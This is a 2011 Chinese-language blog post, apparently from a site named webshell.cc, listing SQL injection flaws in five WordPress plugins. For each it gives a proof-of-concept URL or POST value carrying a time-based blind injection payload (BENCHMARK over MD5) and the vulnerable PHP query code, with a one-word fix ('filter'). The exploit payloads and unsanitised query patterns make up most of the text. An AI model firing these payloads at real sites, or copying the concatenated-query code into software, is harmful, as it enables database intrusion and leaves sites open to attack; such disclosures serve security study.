WordPress多个插件注入漏洞及修复

分类:安全 | 2011-08-22 | 撸过 99 次
0人扯谈

1:
OdiHost Newsletter plugin <= 1.0
POC:
https://www.webshell.cc/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

漏洞代码:
$newsletterid = $_GET[“id”];

$wpdb->query(“update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'”. $subscriberid . “,’) where newsletterstatnewsletterid= “. $newsletterid);
2:
Easy Contact Form Lite plugin <= 1.0.7
POC:
https://www.webshell.cc/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码:
foreach ($_POST[‘field_num’] as $position=>$field_id) {
   
    if ($field_id > 0) {
        $query = ”
            UPDATE $settings_table_name
            SET position = ‘”.$position.”‘
            WHERE ID = $field_id”;
        $wpdb->query($query);
    }
3:
WP Symposium plugin <= 0.64
POC:
https://www.webshell.cc/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码:
$uid = $_REQUEST[‘uid’];
$sql = “SELECT profile_avatar FROM “.$wpdb->base_prefix.”symposium_usermeta WHERE uid = “.$uid;

4:
Contus HD FLV Player plugin <= 1.3
POC:
https://www.webshell.cc/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1
漏洞代码:
$pid1 = $_GET[‘playid’];

foreach ($_GET[‘listItem’] as $position => $item) :
    mysql_query(“UPDATE $wpdb->prefix” . “hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 “);
endforeach;
5:
File Groups plugin <= 1.1.2
POC:
https://www.webshell.cc/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))
漏洞代码:
$fgid = $_GET[‘fgid’];

$file_list = $wpdb->get_col(“select guid from wp_posts where post_parent = $fgid”);

修复:过滤

本站内容均为原创,转载请务必保留署名与链接!
WordPress多个插件注入漏洞及修复:https://www.webshell.cc/756.html
标签:

相关日志